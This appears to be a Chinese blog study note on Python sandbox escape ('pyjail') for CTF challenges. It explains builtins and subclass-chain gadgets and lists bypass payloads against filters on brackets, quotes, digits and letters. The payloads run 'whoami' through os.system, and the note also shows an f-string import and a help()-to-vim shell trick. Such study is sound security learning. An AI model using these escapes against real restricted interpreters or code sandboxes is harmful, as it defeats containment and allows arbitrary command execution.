pyjail-学习总结【CV】
01、什么是pyjail?02、怎么学pyjail?03、去哪学pyjail?
pyjail-学习总结【CV】
灵魂三问
什么是pyjail?
pyjail也叫沙箱逃逸,就是在一个受限制的python环境中,绕过现在和过滤达到更高权限,或者geshell的过程。
怎么学pyjail?
- 了解pyjail的概念:pyjail是一种限制Python代码执行的技术,用于防止恶意代码对系统造成损害。
- 阅读pyjail相关文档和教程:通过阅读官方文档、博客和教程,了解pyjail的工作原理和如何使用它。
- 实际操作:使用pyjail进行代码限制,并尝试绕过限制,以深入了解它的工作原理。
- 参与社区:加入pyjail的开发者社区,与其他开发者进行交流,共同学习和发展。
去哪学pyjail?
- Github:可以在pyjail的Github页面上提交问题,提交代码,并与其他开发者进行交流。
- Stack Overflow:可以在Stack Overflow上提问,获得关于pyjail的技术支持。
- 开源论坛:可以在开源论坛上了解有关pyjail的最新动态,与其他开发者进行交流。
- 在线会议:可以参加与pyjail相关的在线会议,与其他开发者面对面交流。
执行系统命令
【导入模块】
在python中导入模块,有这样的一个流程:
Python导入模块时,会先判断
sys.modules
是否已经加载了该模块,如果没有加载则从sys.path
中的目录按照模块名查找py
、pyc
、pyd
文件,找到后执行该文件载入内存并添加至sys.modules
中,再将模块名称导入Local命名空间。如果a.py
中存在import b
,则在import a
时ab
两个模块都会添加至sys.modules
中,但仅将a
导入Local命名空间。通过from x import y
时,则将x
添加至sys.modules
中,将y
导入Local命名空间。
除了这个常规导入模块的方式外还可以手动添加、直接执行等方式导入模块:
1 | import xxx |
危险方法
有很多模块和方法可以用于执行命令或者读取文件:
1 | os.system('whoami') |
重新导入
Python将一些经常用到的函数放在了内建模块
中,这些函数无需导入即可使用(比如eval
、open
),这个内建模块在Python2中叫作__builtin__
、在Python3中叫作builtins
,这两个都需要导入才可以引用,但可以通过__builtins__
来间接引用而无需导入(有一点区别,但问题不大)。
一些环境出于安全考虑会删掉内建模块
中的危险方法:
1 | del __builtins__.__dict__['__import__'] |
这时可以尝试重新导入内建模块
:
1 | imp.reload(__builtins__) |
但是Python2的reload
也是内建模块,可以通过del __builtins__.reload
删掉。
builtins、builtin__与__builtins
先说一下,builtin
、builtins
,__builtin__
与__builtins__
的区别:
首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr
、open
。之所以可以这样,是因为 Python 有个叫内建模块
(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB
规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。
在 2.x 版本中,内建模块被命名为 __builtin__
,到了 3.x 就成了 builtins
。它们都需要 import 才能查看:
2.x:
1 | import __builtin__ |
3.x:
1 | import builtins |
但是,__builtins__
两者都有,实际上是__builtin__
和builtins
的引用。它不需要导入,我估计是为了统一 2.x 和 3.x。不过__builtins__
与__builtin__
和builtins
是有一点区别的,感兴趣的话建议查一下,这里就不啰嗦了。不管怎么样,__builtins__
相对实用一点,并且在 __builtins__
里有很多好东西:
1 | '__import__' in dir(__builtins__) |
这里稍微解释下 x.__dict__
,它是 x 内部所有属性名和属性值组成的字典,有以下特点:
- 内置的数据类型没有
__dict__
属性 - 每个类有自己的
__dict__
属性,就算存着继承关系,父类的__dict__
并不会影响子类的__dict__
- 对象也有自己的
__dict__
属性,包含self.xxx
这种实例属性
那么既然__builtins__
有这么多危险的函数,不如将里面的危险函数破坏了:
1 | __builtins__.__dict__['eval'] = 'not allowed' |
或者直接删了:
1 | del __builtins__.__dict__['eval'] |
但是我们可以利用 reload(__builtins__)
来恢复 __builtins__
。不过,我们在使用 reload
的时候也没导入,说明 reload
也在 __builtins__
里,那如果连reload
都从__builtins__
中删了,就没法恢复__builtins__
了,需要另寻他法。还有一种情况是利用 exec command in _global
动态运行语句时的绕过,比如实现一个计算器的时候,在最后有给出例子。
这里注意,2.x 的 reload
是内建的,3.x 需要 import imp
,然后再 imp.reload
构造逃逸链
对于a
模块嵌套导入的b
模块中导入的xxx
模块,可以通过a.b.xxx
的方式来引用。如果标准库中嵌套导入了危险模块则会成为一个潜在风险,但是标准库也是需要先导入才能用的,如何才能打破僵局让潜在风险可被利用呢?
在Python3中所有的类都默认继承自object
类、继承object
的全部方法,在Python2中类默认为classobj
,只有['__doc__', '__module__']
两个方法,除非显式声明继承自object
类。
思路一:如果object
的某个派生类中存在危险方法,就可以直接拿来用
思路二:如果object
的某个派生类导入了危险模块,就可以链式调用危险方法
思路三:如果object
的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用
思路四:基本类型的某些方法属于特殊方法,可以通过链式调用
获取object类
Python建议类的protected类型、private类型及内部变量分别以_xxx
、__yyy
、__zzz__
的形式命名,但这仅是一种代码风格规范,并未在语言层面作任何限制。
1 | object |
遍历派生类
1 | #!/usr/bin/env python |
思路一实例
1 | # Python3 |
思路二实例
1 | # Python3 |
思路三实例
1 | # Python3 |
思路三特例
1 | # Python3 |
思路四实例
1 | [].append.__class__.__call__(eval, "__import__('os').system('whoami')") |
WAF
过滤 [ ]
应对的方式就是将[]
的功能用pop
、__getitem__
代替(实际上a[0]
就是在内部调用了a.__getitem__(0)
):
1 | ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() |
当然,dict 也是可以 pop 的:{"a": 1}.pop("a")
当然也可以用 next(iter())
替代,或许可以加上 max
之类的玩意。
过滤引号
chr
最简单就是用 chr
啦
1 | os.system( |
扣字符
利用 str
和 []
,挨个把字符拼接出来
1 | os.system( |
当然 []
如果被过滤了也可以 bypass,前面说过了。
如果 str 被过滤了怎么办呢?type('')()
、format()
即可。同理,int
、list
都可以用 type
构造出来。
格式化字符串
那过滤了引号,格式化字符串还能用吗?
1 | (chr(37)+str({}.__class__)[1])%100 == 'd' |
又起飞了…
dict() 拿键它不香吗?
1 | 'whoami' == |
限制数字
上面提到了字符串过滤绕过,顺便说一下,如果是过滤了数字(虽然这种情况很少见),那绕过的方式就更多了,我这里随便列下:
- 0:
int(bool([]))
、Flase
、len([])
、any(())
- 1:
int(bool([""]))
、True
、all(())
、int(list(list(dict(a၁=())).pop()).pop())
- 获取稍微大的数字:
len(str({}.keys))
,不过需要慢慢找长度符合的字符串 - 1.0:
float(True)
- -1:
~0
- …
其实有了 0
就可以了,要啥整数直接做运算即可:
1 | 0 ** 0 == 1 |
任意浮点数稍微麻烦点,需要想办法运算,但是一定可以搞出来,除非是 π 这种玩意…
限制空格
空格通常来说可以通过 ()
、[]
替换掉。例如:
1 | [i for i in range(10) if i == 5]` 可以替换为 `[[i][0]for(i)in(range(10))if(i)==5] |
限制运算符
> < ! - +
这几个比较简单就不说了。
==
可以用 in
来替换。
替换 or
的测试代码
1 | for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: |
上面这几个表达式都可以替换掉 or
替换 and
的测试代码
1 | for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: |
上面这几个表达式都可以替换掉 and
限制 ( )
这种情况下通常需要能够支持 exec 执行代码。因为有两种姿势:
- 利用装饰器
@
- 利用魔术方法,例如
enum.EnumMeta.__getitem__
,
利用新特性
PEP 498 引入了 f-string
,在 3.6 开始出现:传送门🚪,食用方式:传送门🚪。所以我们就有了一种船新的利用方式:
1 | f'{__import__("os").system("whoami")}' |
关注每次版本增加的新特性,或许能淘到点宝贝。
利用反序列化攻击
反序列化攻击也是能用来逃逸
这个例子来自iscc 2016
的Pwn300 pycalc
,相当有趣:
1 | #!/usr/bin/env python2 |
exec command in _global
这一句就把很多 payload 干掉了,由于 exec 运行在自定义的全局命名空间里,这时候会处于restricted execution mode
。exec 加上定制的 globals 会使得沙箱安全很多,一些常规的 payload 是没法使用的,例如:
1 | ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__ |
不过也正是由于 exec 运行在特定的命名空间里,可以通过其他命名空间里的 __builtins__
,比如 types 库,来执行任意命令:
1 | getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami') |
极端限制
这种限制一般是组合形式出现,而且通常只会出现在 CTF 中。
限制输入字符的集合的大小
思路就是先确定不得不用到的字符,再看这些字符能够拼出哪些函数或者常量。
限制不能使用
[a-zA-Z]
的字符
Python3 支持了 Unicode 变量名且解释器在做代码解析的时候,会对变量名进行规范化,算法是 NFKC
。
所以在这种情况下可以用这种姿势:
1 | eval == ᵉval |
socket + 严格的输入限制
可以看看是否漏掉了 help
,漏掉的话,先通过 help()
调起 vi/vim,然后用 !
指令即可 getshell
参考链接
声明:本文不做任何商用,仅展示自己的blog上方便自我查阅,若存在抄袭,搬运商用,请及时联系本人删除,发送邮箱!